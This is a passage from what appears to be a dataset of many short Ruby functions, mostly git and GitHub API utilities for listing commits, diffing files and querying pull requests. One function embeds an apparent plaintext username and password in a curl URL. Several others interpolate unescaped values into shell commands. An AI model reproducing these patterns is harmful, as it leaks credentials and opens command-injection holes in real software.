\"https://api.github.com/repos/#{owner}/#{repo}/commits/#{sha}\"\n log(\"Requesting #{url} (#{@remaining} remaining)\")\n\n contents = nil\n begin\n r = open(url, 'User-Agent' => 'ghtorrent', 'Authorization' => \"token #{token}\")\n @remaining = r.meta['x-ratelimit-remaining'].to_i\n @reset = r.meta['x-ratelimit-reset'].to_i\n contents = r.read\n JSON.parse contents\n rescue OpenURI::HTTPError => e\n @remaining = e.io.meta['x-ratelimit-remaining'].to_i\n @reset = e.io.meta['x-ratelimit-reset'].to_i\n log \"Cannot get #{url}. Error #{e.io.status[0].to_i}\"\n {}\n rescue StandardError => e\n log \"Cannot get #{url}. General error: #{e.message}\"\n {}\n ensure\n File.open(commit_json, 'w') do |f|\n f.write contents unless r.nil?\n f.write '' if r.nil?\n end\n\n if 5000 - @remaining >= REQ_LIMIT\n to_sleep = @reset - Time.now.to_i + 2\n log \"Request limit reached, sleeping for #{to_sleep} secs\"\n sleep(to_sleep)\n end\n end\n end", "def commits_by_files(*files)\n\t\t\tr={}\n\t\t\tfiles=all_files if files.empty?\n\t\t\twith_dir do\n\t\t\t\tfiles.each do |file|\n\t\t\t\t\tdates=%x/git log #{DefaultLogOptions} --pretty='format: %ad' --date=short -- \"#{file}\"/.each_line.map {|l| l.chomp}\n\t\t\t\t\tr[file]={commits: dates.length, active: dates.uniq.length}\n\t\t\t\tend\n\t\t\tend\n\t\t\tr\n\t\tend", "def committed_files sha\n array_output_of \"git diff-tree --no-commit-id --name-only -r #{sha}\"\nend", "def num_commits(lines)\n numCommits = 0\n lines.each{ |line| numCommits += 1 if line.start_with?(\"commit \") }\n return numCommits\nend", "def make_call_with_query query, page\n search_id = query.gsub('+', '__').gsub(':', '_')\n result_dir = \"github_search_results/#{search_id}\"\n `mkdir -p #{result_dir}`\n result_path = \"#{result_dir}/#{page}.json\"\n command = \"curl -H \\\"Accept: application/vnd.github.mercy-preview+json\\\" \\\"https://api.github.com/search/repositories?q=#{query}+language:swift&page=#{page}&per_page=100\\\"\"\n puts command\n json_result = `#{command}`\n parsed_json = JSON.parse(json_result)\n File.open(result_path, 'w') do |file|\n file << json_result\n end\n parsed_json['total_count'].to_i\nend", "def files_at_commit(pr_id, filter = lambda{true})\n q = <<-QUERY\n select c.sha\n from pull_requests p, commits c\n where c.id = p.base_commit_id\n and p.id = ?\n QUERY\n\n base_commit = db.fetch(q, pr_id).all[0][:sha]\n files = repo.lstree(base_commit, :recursive => true)\n\n files.select{|x| filter.call(x)}\n end", "def files_at_commit(pr_id, filter = lambda{true})\n q = <<-QUERY\n select c.sha\n from pull_requests p, commits c\n where c.id = p.base_commit_id\n and p.id = ?\n QUERY\n\n def lslr(tree, path = '')\n all_files = []\n for f in tree.map{|x| x}\n f[:path] = path + '/' + f[:name]\n if f[:type] == :tree\n begin\n all_files << lslr(repo.lookup(f[:oid]), f[:path])\n rescue Exception => e\n STDERR.puts e\n all_files\n end\n else\n all_files << f\n end\n end\n all_files.flatten\n end\n\n base_commit = db.fetch(q, pr_id).all[0][:sha]\n begin\n files = lslr(repo.lookup(base_commit).tree)\n files.select{|x| filter.call(x)}\n rescue Exception => e\n STDERR.puts \"Cannot find commit #{base_commit} in base repo\"\n []\n end\n end", "def find_common_commit(downstream_dir, upstream_dir, rev_list_down, rev_list_up)\n\n # start with first commit from downstream\n #rev_list_down.reverse.each do |ref|\n output_size={}\n # NOTE: always just check the last (oldest) commit from downstream.\n # you could iterate through them all, but it would change form O(n) to O(n2)\n # I was thinking it would be annoyingly slow, so I didn't even bother trying\n # rev_list_down.each do |ref|\n ref = rev_list_down.last\n # checkout the last commit from downstream\n checkout(downstream_dir, ref)\n # iterate throuug all upstream commits\n rev_list_up.each do |ref2|\n # checkout upstream code based on that commit\n checkout(upstream_dir, ref2)\n # run the recursive diff\n out = system_cmd(\"diff -r --exclude=.svn --exclude=.git #{upstream_dir} #{downstream_dir}\")\n #puts out\n # if return code is true (ie: they match!)\n if out[1]\n puts \"Upstream #{ref2} matches downstream #{ref}\"\n # return the references that match [downstream, upstream]\n return [ref, ref2]\n else\n output_size[out[0].size] ||= {}\n # if they don't match, save the references, and diff output\n output_size[out[0].size][\"#{ref}_#{ref2}\"] = out[0]\n end\n end\n #end\n smallest = output_size.keys.sort.first\n puts \"the least number of difference found is: #{smallest}\"\n puts \"we found #{output_size[smallest].size} one repos of this diff size\"\n puts \"The output from the first one of this size is:\\n#{output_size[smallest].values.first.join(\"\\n\")}\"\n refs=output_size[smallest].keys.first.split('_')\n puts \"For refs: #{refs}\"\n checkout(downstream_dir, refs[0])\n checkout(upstream_dir, refs[1])\n if output_size[smallest].size == 1\n # if there is only one smallest matching, show the user the diff and ask them if they want\n # to try to rebase anyways\n puts 'Do you want to proceed with rebasing this result?(Yes or No)'\n result = gets\n if result.chomp == 'Yes'\n return refs\n end\n end\n raise \"Could not find any common anscestor\"\nend", "def git_modified_files_info\n modified_files_info = {}\n updated_files = (git.modified_files - git.deleted_files) + git.added_files\n updated_files.each do |file|\n modified_lines = git_modified_lines(file)\n modified_files_info[file] = modified_lines\n end\n modified_files_info\n end", "def get_artifact_info(page)\n print \"\\rFetching artifacts page: #{page} \"\n client = Octokit::Client.new(access_token: ENV['PERSONAL_TOKEN'], per_page: 100)\n client.get(\"https://api.github.com/repos/SaraAlert/SaraAlert/actions/artifacts?page=#{page}\")\nend", "def get_my_pull_requests\n repos_to_get = GITHUB_REPOS.kind_of?( Array ) ? GITHUB_REPOS : get_my_repos\n\n repos_to_get.each do |repo|\n status = []\n pulls_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/pulls?state=open\"\n\n get_json( pulls_url ).each_with_index do |item, index|\n sha = item[ 'head' ][ 'sha' ]\n status_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/commits/#{ sha }/status\"\n\n status << get_json( status_url )\n\n unless item[ 'assignee' ].nil?\n if item[ 'assignee' ][ 'login' ] == ENV[ 'GITHUB_USERNAME' ]\n color = ''\n state = status[ index ][ 'state' ]\n\n unless status[ index ][ 'statuses' ].empty?\n color = \"| color=#{ determine_status_color( state )}\"\n end\n\n puts \"#{ repo }: ##{ item[ 'number' ] } #{ item[ 'title' ] } #{ color } | href=#{ item[ 'html_url' ] }\"\n end\n end\n end\n end\nend", "def get_tags( file , ofile, format )\n File.open( file ) do |f|\n File.open( ofile, 'w' ) do |of|\n while line = f.gets\n #begin\n batch, id, hash, url =* line.split(/\\s+/)\n puts \"#{id}, #{hash}, #{url}\"\n api_url = \"curl https://lifidea:1275dkjy@api.del.icio.us/v1/posts/suggest?url=#{url}\"\n puts api_url\n content = `#{api_url}`#Net::HTTP.get(URI.parse(api_url))\n of.puts \"#{hash}\\t#{content.size}\\t#{url}\"\n #Dir.mkdir(format) if !File.exist?(format)\n File.open( \"tags/#{hash}.#{format}\",'w'){|of2|of2.puts content}\n #rescue Exception => e\n # puts \"Error in [#{line}]\",e\n #end\n sleep(1)\n end\n end\n end\nend", "def all_file_commits_data(path)\n time = ` cd /tmp/#{@repo} && git log --format=%ct #{path} `.split(\"\\n\").map{|time| time.to_i}\n ins_del = ` cd /tmp/#{@repo} && git log --numstat --format=%h #{path} | grep #{path} `.split(\"\\n\").map{|line| line.split(\" \")[0..1]}.map{|insert| insert.map{|x| x.to_i}}\n time.zip(ins_del)\n end", "def test_get_tags\n post '/repos', {:name => GIT_REPO}\n post \"/repos/#{GIT_REPO}.git/branches/master/files\", {:name => \"myfile.txt\", :data => \"Hello There\", :encoding => \"utf-8\", :user => \"Rune Madsen\", :email => \"rune@runemadsen.com\", :message => \"My First Commit\"}\n sha = JSON.parse(last_response.body)[\"commit_sha\"]\n post \"/repos/#{GIT_REPO}.git/tags\", {:tag => \"version1\", :message => \"hello\", :sha => sha, :type => \"commit\", :user => \"Rune Madsen\", :email => \"rune@runemadsen.com\"}\n get \"/repos/#{GIT_REPO}.git/tags\"\n end", "def num_commits(lines)\n i = 0\n\tlines.each{|line| \n\t\tif line.include? \"commit\"\n\t\t\ti += 1\n\t\tend\n\t}\n\treturn i\nend", "def commits_on_pr_files(pr, months_back)\n\n oldest = Time.at(Time.at(pr[:created_at]).to_i - 3600 * 24 * 30 * months_back)\n pr_against = pull_req_entry(pr[:id])['base']['sha']\n commits = commit_entries(pr[:id])\n\n commits_per_file = commits.flat_map { |c|\n c['files'].map { |f|\n [c['sha'], f['filename']]\n }\n }.group_by {|c|\n c[1]\n }\n\n commits_per_file.keys.reduce({}) do |acc, filename|\n commits_in_pr = commits_per_file[filename].map{|x| x[0]}\n\n walker = Rugged::Walker.new(repo)\n walker.sorting(Rugged::SORT_DATE)\n walker.push(pr_against)\n\n commit_list = walker.take_while do |c|\n c.time > oldest\n end.reduce([]) do |acc1, c|\n if c.diff(paths: [filename.to_s]).size > 0 and\n not commits_in_pr.include? c.oid\n acc1 << c.oid\n end\n acc1\n end\n acc.merge({filename => commit_list})\n end\n end", "def fetch_commits(repo_user,repo_name, sha, commits_size)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/commits?sha=#{sha}&per_page=#{commits_size}\")\n body = response_body(uri)\n if body.instance_of? Array\n body\n elsif body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n puts \"WARNING unexpected body = #{body}\"\n []\n end\n end", "def api(path,lastmodified = nil) #Returns the FRC API file for the specified path in JSON format.\n #Warning: api() returns an HTTP response while reqapi() returns a JSON string.\n begin\n \tputs \"I am accessing the API at path #{path}\"\n \toptions = { 'User-Agent' => \"https://github.com/2468scout/2468Scout-Ruby-Server\", #Dunno what this is but Isaac did it\n 'Authorization' => \"Basic #{$token}\", #Standard procedure outlined by their API\n 'accept' => \"application/json\" #We want JSON files, so we will ask for JSON\n \t}\n \t#FMS-OnlyModifiedSince will return just a 304\n \t#If-Modified-Since will return a 200 no matter what, for some reason\n \toptions['FMS-OnlyModifiedSince'] = lastmodified if lastmodified\n #puts options['If-Modified-Since']\n #open(\"#{$server}#{path}\", options).read\n toreturn = {}\n\n if $toggle_manual_input\n \tputs \"I want to access #{path}, but manual input is turned on! Please type the filename to use in its place.\"\n \tfilename = \"\"\n \twhile(!File.exists? filename)\n \t\tputs \"Try file name: \"\n \t\tfilename = gets\n \t\tputs \"Searching for the file #{filename}...\"\n \tend\n \tjsondata = retrieveJSON(filename)\n \ttoreturn = OpenStruct.new(:body => jsondata, :meta => {}, :staus => ['200', 'OK']) \n else\n\t open(\"#{$server}#{path}\", options) do |response|\n\t \tbody = \"\"\n\t \tresponse.each_line do |line|\n\t \t\tbody << line.to_s\n\t \tend\n\t \t#response.base_uri.to_s\n\t \ttoreturn = OpenStruct.new(:body => body, :meta => response.meta, :status => response.status)\n\t \t#must create a persistent object out of the response, as response is not accessible outside this method\n\t end\n\tend\n toreturn\n rescue => e\n \tputs \"Something went wrong #{e.class}, message is #{e.message}\"\n toreturn = '{}'\n if (e.message.include? '304') \n \ttoreturn = OpenStruct.new(:body => '{}', :status => ['304','Not Modified'])\n\tend\n\ttoreturn #If error, return empty JSON-ish, or 304 if 304\n end\nend", "def print_file_diffs(file_safety, repo, fname, user_name)\n entry = file_safety[fname]\n if entry.nil?\n # File not in audit list\n elsif entry[\"safe_revision\"].nil?\n puts \"No safe revision for #{fname}\"\n rev = %x[svn info -r head \"#{repo}/#{fname}\"].match('Last Changed Rev: ([0-9]*)').to_a[1]\n if rev\n mime_type = %x[svn propget svn:mime-type \"#{repo}/#{fname}\"].chomp\n if ['application/octet-stream'].include?(mime_type)\n puts \"Cannot display: file marked as a binary type.\"\n puts \"svn:mime-type = #{mime_type}\"\n else\n fdata = %x[svn cat -r \"#{rev}\" \"#{repo}/#{fname}\"]\n # TODO: Add header information like svn\n begin\n puts fdata.split(\"\\n\").collect{|line| \"+ #{line}\"}\n rescue ArgumentError # invalid byte sequence in UTF-8\n puts \"+ \" + fdata\n end\n end\n puts \"To flag the changes to this file as safe, run:\"\n else\n puts \"Please code review a recent working copy, note the revision number, and run:\"\n rev = '[revision]'\n end\n puts %( rake audit:safe release=#{rev} file=#{fname} reviewed_by=#{user_name} comments=\"\")\n puts\n else\n if entry[\"last_changed_rev\"].nil?\n update_changed_rev(file_safety, [fname])\n end\n svnlatest = entry[\"last_changed_rev\"] # May have been prepopulated en mass\n if entry[\"last_changed_rev\"] == -1\n # Not in svn repository\n elsif svnlatest > entry['safe_revision']\n cmd = \"svn diff -r #{entry['safe_revision']}:#{svnlatest} -x-b #{repo}/#{fname}\"\n puts cmd\n system(cmd)\n puts %(To flag the changes to this file as safe, run:)\n puts %( rake audit:safe release=#{svnlatest} file=#{fname} reviewed_by=#{user_name} comments=\"\")\n puts\n else\n # Safe\n end\n end\nend", "def parse_git_repo\n git_output = `git status --porcelain 2>&1`\n unless $?.exitstatus == 0\n puts \"Git error: make sure the current directory is a valid repo and that git is working.\"\n exit!\n end\n list = git_output.split(\"\\n\")\n # Get just what was added, modified, copied or moved.\n # Skip deleted files.\n files = list.reduce([]) do |a, f|\n file = /[\\?MARC ]{1,2} (.*\\.pp)/.match f\n a << file[1] if file\n a\n end\n files.uniq! # remove dupes, just in case.\n files.each { |f| PuppetFile.new(File.expand_path(f)) }\nend", "def test_log_commits\n a = @lib.log_commits :count => 10\n assert(a.first.is_a?(String))\n assert_equal(10, a.size)\n\n a = @lib.log_commits :count => 20, :since => \"#{Date.today.year - 2006} years ago\"\n assert(a.first.is_a?(String))\n assert_equal(20, a.size)\n\n a = @lib.log_commits :count => 20, :since => '1 second ago'\n assert_equal(0, a.size)\n\n a = @lib.log_commits :count => 20, :between => ['v2.5', 'v2.6']\n assert_equal(2, a.size)\n\n a = @lib.log_commits :count => 20, :path_limiter => 'ex_dir/'\n assert_equal(1, a.size)\n\n a = @lib.full_log_commits :count => 20\n assert_equal(20, a.size)\n end", "def show_changed_files(status)\n status.each_line do |line|\n if line =~ /^#\\t/ # only print out the changed files (I think)\n if line =~ /new file:|modified:|deleted:/\n puts \" #{line}\" \n else\n puts \" #{line.chop}\\t\\t(may need to be 'git add'ed)\" \n end\n end\n end\nend", "def parse_commit_line!(commit_line)\n # Parse the full commit line\n line_parts = commit_line.split(\"\\t\")\n sha = line_parts.fetch(0)\n message = line_parts.fetch(1)\n author = line_parts.fetch(2)\n date = Time.parse(line_parts.fetch(3))\n message_data = parse_commit_message!(message)\n pr_number = message_data.fetch(\"pr_number\")\n\n attributes =\n {\n \"sha\" => sha,\n \"message\" => message,\n \"author\" => author,\n \"date\" => date,\n \"pr_number\" => pr_number\n }\n\n # Parse the stats\n stats = get_commit_stats(attributes.fetch(\"sha\"))\n if /^\\W*\\p{Digit}+ files? changed,/.match(stats)\n stats_attributes = parse_commit_stats!(stats)\n attributes.merge!(stats_attributes)\n end\n\n attributes\nend", "def pull_requests_for_commit(token, repo, commit_hash)\n query = \"#{commit_hash}+type:pr+repo:#{repo}\"\n say \"Searching github pull requests for #{commit_hash}\"\n response = RestClient::Request.new(:url => \"https://api.github.com/search/issues?q=#{query}\", :method => \"GET\", :headers => {:accept => :json, :content_type => :json, 'Authorization' => \"token #{token}\"}).execute\n JSON.parse response.body\n rescue RestClient::Exception => e\n process_error e\n throw e\n end", "def content_of file:, for_sha:\n result = output_of \"git show #{for_sha}:#{file}\"\n result = '' if result == default_file_content_for(file)\n result\nend", "def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, status) = info.split\n hsh[file] = {:path => file, :mode_repo => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_repo => sha_src, :sha_index => sha_dest, :status => status}\n end\n hsh\n end", "def PrintDiffInfoAndStats(diff,cmp_diff)\n puts \"********** PrintDiffInfoAndStats BEGIN ***********\"\n puts \"diff stats is = \\n\"\n ap diff.stats\n puts \"diff sha's are = \"\n puts(\"\\{ #{diff.prev_commit_sha} -> #{diff.next_commit_sha} \\}\")\n puts \"diff prev commit message is \"\n puts $rugged_repo.lookup(diff.prev_commit_sha).message\n puts \"diff next commit message is \"\n puts $rugged_repo.lookup(diff.next_commit_sha).message\n puts \"--------------------------------------------------\"\n\n puts \"cmp_diff stats is = \\n\"\n ap cmp_diff.stats\n puts \"cmp_diff sha's are = \"\n puts(\"\\{ #{cmp_diff.prev_commit_sha} -> #{cmp_diff.next_commit_sha} \\}\")\n puts \"cmp_diff prev commit message is \"\n puts $rugged_repo.lookup(cmp_diff.prev_commit_sha).message\n puts \"cmp_diff next commit message is \"\n puts $rugged_repo.lookup(cmp_diff.next_commit_sha).message\n puts \"--------------------------------------------------\"\n puts \"********** PrintDiffInfoAndStats END **************\"\nend", "def branch_commits\n\tcommits = {}\n\tresp = github_api(\"branches\")\n\tresp.each do |b|\n\t\t#puts b\n\t\tcommit_dates = []\n\t\tsha = b[\"commit\"][\"sha\"]\n\t\twhile true\n\t\t\tr = github_api(\"commits?sha=#{sha}&per_page=100\")\n\t\t\t# puts r\n\t\t\tif r.count != 1 \n\t\t\t\tsha = r[r.count - 1][\"sha\"]\n\t\t\t\tcommit_dates = commit_dates.concat(r[0..-1].map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\t#puts commit_dates\n\t\t\telse\n\t\t\t\tcommit_dates = commit_dates.concat(r.map {|c| c[\"commit\"][\"committer\"][\"date\"]})\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tcommits[b[\"name\"]] = commit_dates\n\tend\n\tcommits\nend", "def get_release_history(release_file)\n release_history = remote_file_exists?(release_file) ? capture(\"cat #{release_file}\").strip : ''\n release_history\nend", "def recent_commits\n public_events = @client.user_public_events @user[:login]\n public_events.select! { |e| e[:type] == \"PushEvent\" }\n commits = []\n public_events.each do |e|\n e[:payload][:commits].each do |c|\n c[:html_url] = \"https://github.com/#{e[:repo][:name]}/commit/#{c[:sha]}\"\n c[:shortcut] = \"#{e[:repo][:name]}@#{c[:sha][0..7]}\"\n end\n commits.concat e[:payload][:commits]\n end\n commits.take 15\nend", "def find_next\n status = `git status -s`.lines.reject(&:nil?).grep(/.. (PCL|tsion|steveklabnik)\\//)\n return nil if status.empty?\n\n first = status.map{|x| x.gsub(/^.. /, '') }.first.strip\n \n if File.directory?(first) \n return [first, [first]]\n else\n name = first.split('/')[-1].split('_', 2)[1]\n end\n\n pcl = find_file('PCL', name)\n tsion = find_file('tsion', name)\n steve = find_file('steveklabnik', name)\n\n [name, [pcl, tsion, steve]]\n end", "def get_commits(file)\n commit_queue= Array.new\n isCommitSec = false\n isStarted = false\n\n file.each_line do |line|\n if line.strip =~ (/^:::$/) or line.strip =~ (/^;;;:::$/)\n #begin processing, encountered\n #first commit (:::) avoid adding \n #any garbage before first commit\n if not isStarted\n isStarted = true\n else\n # Process commits, we already have queued the commit\n commit, hash = regex_process_commit(commit_queue)\n index_process_commit(commit, hash)\n end\n\n else\n #avoid adding empty string or havent started yet\n commit_queue.push(line) unless line.strip == \"\" or not isStarted\n end\n end#loop\n\n #process commits\n commit, hash = regex_process_commit(commit_queue)\n index_process_commit(commit, hash)\n\n end", "def for_wiki(files)\n basefile = files.shift\n codec = nil\n basefile.each_index do |i| res = basefile[i]\n # make a joined row for each codec\n if (codec == nil || res.codec != codec) then\n codec = res.codec\n puts \"| *%s* ||||%s\" % [codec, \"|\"*files.length]\n end\n row = sprintf(\"| %s | %.2f%%%% realtime | Decode time - %.2fs |\" %\n [res.file_name, res.percent_realtime, res.decode_time])\n if (res.mhz_needed != nil) # column for mhz needed, | - | if unknown\n row += sprintf(\" %.2fMHz |\" % res.mhz_needed.to_s)\n else\n row += \" - |\"\n end\n for f in files # calculate speed up compared to the rest files\n delta = (res.percent_realtime / f[i].percent_realtime)*100\n row += sprintf(\" %.2f%%%% |\" % delta)\n end\n puts row\n end\nend", "def read_versions\n spec_files.map do |spec_file|\n spec = File.read(spec_file)\n spec.match(/^\\s*Version:\\s*(\\S+)$/)[1]\n end\nend", "def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, type) = info.split\n hsh[file] = {:path => file, :mode_file => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_file => sha_src, :sha_index => sha_dest, :type => type}\n end\n hsh\n end", "def get_commits(username)\n author = username\n year_commit_list = []\n total_commit_count = 0\n\n ### Using 'github_api' gem for fetching names out of GET request to api.github.com\n repos_names = @github.repos.list(user: author).map {|repo| repo[:name]}\n\n repos_names.each_with_index do |repo_name, index|\n ### Using 'github_api' gem for fetching stats, for particular user and repository name, which is taken from 'repos_names' array\n commits = @github.repos.stats.participation(user: author, repo: repo_name)\n owner_commits_count = 0\n if commits[:owner]\n owner_commits_count = commits[:owner].inject(0) {|memo, i| memo + i}\n end\n ### Counting all commits for a year(for current repository) just for owner\n year_commit_list << \"#{index+1})#{repo_name} - #{owner_commits_count}\"\n ### Counting total number of commits for specific user, for all his public repositories withing a year period\n total_commit_count += owner_commits_count\n end\n\n puts \"Owner name: #{author}\"\n puts \"----------------------\"\n year_commit_list.each {|item| puts item}\n puts \"----------------------\"\n puts \"Total for a year: #{total_commit_count} commits\"\n puts \"----------------------\"\nend", "def get_file(path)\n file = path[1..-1]\n case path\n when '/CURRENT_REVISION'\n change['revisions'][change['current_revision']]['_number']\n when '/COMMIT_MSG'\n commit_file(change['current_revision'])\n when '/.0_COMMIT_MSG'\n ''\n when /\\.(\\d+)_COMMIT_MSG/\n commit_file(Regexp.last_match(1)) # TODO: handle commit like a normal file (with comments for instance)\n when /\\.(\\d+)_(.*)$/\n revision = Regexp.last_match(1).to_i\n filename = file_from_sanitized(Regexp.last_match(2))\n content = get_ab_file(Regexp.last_match(2), revision)\n FileWithComments.new(Regexp.last_match(2),\n content,\n comments(filename, revision),\n comments(filename, revision, draft: true))\n else\n \"Nothing in there, see .xx_#{file} with xx the patchset version\\n\"\n end\n end", "def revisions(path=nil, identifier_from=nil, identifier_to=nil, options={}, &block)\r\n logger.debug \"<cvs> revisions path:'#{path}',identifier_from #{identifier_from}, identifier_to #{identifier_to}\"\r\n \r\n path_with_project=\"#{url}#{with_leading_slash(path)}\"\r\n cmd = \"#{CVS_BIN} -d #{root_url} rlog\"\r\n cmd << \" -d\\\">#{time_to_cvstime(identifier_from)}\\\"\" if identifier_from\r\n cmd << \" #{shell_quote path_with_project}\"\r\n shellout(cmd) do |io|\r\n state=\"entry_start\"\r\n \r\n commit_log=String.new\r\n revision=nil\r\n date=nil\r\n author=nil\r\n entry_path=nil\r\n entry_name=nil\r\n file_state=nil\r\n branch_map=nil\r\n \r\n io.each_line() do |line| \r\n \r\n if state!=\"revision\" && /^#{ENDLOG}/ =~ line\r\n commit_log=String.new\r\n revision=nil\r\n state=\"entry_start\"\r\n end\r\n \r\n if state==\"entry_start\"\r\n branch_map=Hash.new\r\n if /^RCS file: #{Regexp.escape(root_url_path)}\\/#{Regexp.escape(path_with_project)}(.+),v$/ =~ line\r\n entry_path = normalize_cvs_path($1)\r\n entry_name = normalize_path(File.basename($1))\r\n logger.debug(\"Path #{entry_path} <=> Name #{entry_name}\")\r\n elsif /^head: (.+)$/ =~ line\r\n entry_headRev = $1 #unless entry.nil?\r\n elsif /^symbolic names:/ =~ line\r\n state=\"symbolic\" #unless entry.nil?\r\n elsif /^#{STARTLOG}/ =~ line\r\n commit_log=String.new\r\n state=\"revision\"\r\n end \r\n next\r\n elsif state==\"symbolic\"\r\n if /^(.*):\\s(.*)/ =~ (line.strip) \r\n branch_map[$1]=$2\r\n else\r\n state=\"tags\"\r\n next\r\n end \r\n elsif state==\"tags\"\r\n if /^#{STARTLOG}/ =~ line\r\n commit_log = \"\"\r\n state=\"revision\"\r\n elsif /^#{ENDLOG}/ =~ line\r\n state=\"head\"\r\n end\r\n next\r\n elsif state==\"revision\"\r\n if /^#{ENDLOG}/ =~ line || /^#{STARTLOG}/ =~ line \r\n if revision\r\n \r\n revHelper=CvsRevisionHelper.new(revision)\r\n revBranch=\"HEAD\"\r\n \r\n branch_map.each() do |branch_name,branch_point|\r\n if revHelper.is_in_branch_with_symbol(branch_point)\r\n revBranch=branch_name\r\n end\r\n end\r\n \r\n logger.debug(\"********** YIELD Revision #{revision}::#{revBranch}\")\r\n \r\n yield Revision.new({ \r\n :time => date,\r\n :author => author,\r\n :message=>commit_log.chomp,\r\n :paths => [{\r\n :revision => revision,\r\n :branch=> revBranch,\r\n :path=>entry_path,\r\n :name=>entry_name,\r\n :kind=>'file',\r\n :action=>file_state\r\n }]\r\n }) \r\n end\r\n \r\n commit_log=String.new\r\n revision=nil\r\n \r\n if /^#{ENDLOG}/ =~ line\r\n state=\"entry_start\"\r\n end\r\n next\r\n end\r\n \r\n if /^branches: (.+)$/ =~ line\r\n #TODO: version.branch = $1\r\n elsif /^revision (\\d+(?:\\.\\d+)+).*$/ =~ line\r\n revision = $1 \r\n elsif /^date:\\s+(\\d+.\\d+.\\d+\\s+\\d+:\\d+:\\d+)/ =~ line\r\n date = Time.parse($1)\r\n author = /author: ([^;]+)/.match(line)[1]\r\n file_state = /state: ([^;]+)/.match(line)[1]\r\n #TODO: linechanges only available in CVS.... maybe a feature our SVN implementation. i'm sure, they are\r\n # useful for stats or something else\r\n # linechanges =/lines: \\+(\\d+) -(\\d+)/.match(line)\r\n # unless linechanges.nil?\r\n # version.line_plus = linechanges[1]\r\n # version.line_minus = linechanges[2]\r\n # else\r\n # version.line_plus = 0\r\n # version.line_minus = 0 \r\n # end \r\n else \r\n commit_log << line unless line =~ /^\\*\\*\\* empty log message \\*\\*\\*/\r\n end \r\n end \r\n end\r\n end\r\n end", "def parse_sources(filename, regex)\n results = search(\"filename:#{filename} #{@github_search_query}\")\n log \"Parsing #{results.count} #{filename}s\"\n files = results.reduce({}) do |memo, result|\n # We might have more than one dep file in a repository...\n memo[result[:name]] ||= []\n memo[result[:name]] += extract_deps(result[:content], regex)\n log '.'\n memo\n end\n log \"done!\\n\"\n files\n end", "def parse_remaining_files; end", "def extract(blob)\n highlights= {}\n highlights['type'] = blob['type']\n if blob['type']==\"ref-updated\"\n highlights['project'] = blob['refUpdate']['project']\n else\n highlights['project'] = blob['change']['project']\n highlights['subject'] = blob['change']['subject']\n highlights['url'] = blob['change']['url']\n if blob['type']==\"comment-added\"\n highlights['author'] = blob['author']['name']\n highlights['comment'] = blob['comment']\n if blob['approvals']\n highlights['approval-values'] = blob['approvals'].map{|x| x['value']}\n end\n elsif blob['type']==\"change-merged\"\n highlights['submitter'] = blob['submitter']['name']\n elsif blob['type']==\"change-abandoned\"\n highlights['abandoner'] = blob['abandoner']['name']\n elsif blob['type']==\"patchset-created\"\n highlights['uploader'] = blob['uploader']['name']\n end\n end\n\n return highlights\nend", "def get_revisions(file_path, client)\n @log.debug \"Getting revisions of \" + file_path\n revs = []\n revisions = client.revisions file_path\n revisions.each do |rev|\n fileRev = FileRev.new\n if rev['is_deleted']\n fileRev.file_loc = rev[\"path\"]\n fileRev.is_deleted = true\n fileRev.timestamp = DateTime.parse(rev['modified'])\n fileRev.rev = rev[\"rev\"]\n @log.debug rev[\"path\"] + ' deleted ' + rev[\"rev\"] + ' ' + rev['modified']\n else \n fileRev.file_loc = rev[\"path\"]\n fileRev.is_deleted = false\n fileRev.timestamp = DateTime.parse(rev['modified'])\n fileRev.rev = rev[\"rev\"]\n @log.debug rev[\"path\"] + ' ' + rev[\"rev\"] + ' ' + rev['modified']\n end\n revs.push(fileRev)\n end\n return revs\nend", "def diff_files_from(commit)\n git_args = ['diff', '--stat', '--name-only', commit]\n result = default_repository.git_output(git_args).lines.map { |line| line.strip }.sort\n # not sure if git would ever mention directories in a diff, but ignore them.\n result.delete_if { |item| ::File.directory?(item) }\n return result\n end", "def downloadable_versions\n base_url = 'https://www.drupal.org/node/3060/release?&page=%i'\n page_id = 0\n versions = {}\n\n loop do\n page = Nokogiri::HTML(Typhoeus.get(format(base_url, page_id),\n headers: { 'User-Agent' => 'curl/7.54.0' }).body)\n\n page.css('span.file a').each do |node|\n version = node.text.strip[/\\Adrupal\\-([\\d.]+)\\.tar\\.gz\\z/i, 1]\n\n versions[version] = \"https://ftp.drupal.org/files/projects/#{node.text.strip}\" if version\n end\n\n break if page.css('li.pager-next').empty?\n\n page_id += 1\n end\n\n versions\n end", "def search(query)\n # See: http://github.com/Sirupsen/gollum/commit/f0a6f52bdaf6bee8253ca33bb3fceaeb27bfb87e\n search_output = @repo.git.grep({:c => query}, 'master')\n\n search_output.split(\"\\n\").collect do |line|\n result = line.split(':')\n file_name = Gollum::Page.canonicalize_filename(::File.basename(result[1]))\n\n {\n :count => result[2].to_i,\n :name => file_name\n }\n end\n end", "def get_commits\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository_commits(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get recent commit: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_commits_json = response.parsed_response\n end", "def last_commit(js_name)\n sha1 = `git log --pretty=%H -1 #{js_name}` \nend", "def version_euristic(urls, regex = nil)\n urls.each do |url|\n puts \"Trying with url #{url}\" if ARGV.debug?\n match_version_map = {}\n case\n when DownloadStrategyDetector.detect(url) <= GitDownloadStrategy\n puts \"Possible git repo detected at #{url}\" if ARGV.debug?\n\n git_tags(url, regex).each do |tag|\n begin\n # Remove any character before the first number\n tag_cleaned = tag[/\\D*(.*)/, 1]\n match_version_map[tag] = Version.new(tag_cleaned)\n rescue TypeError\n end\n end\n when url =~ %r{(sourceforge\\.net|sf\\.net)/}\n 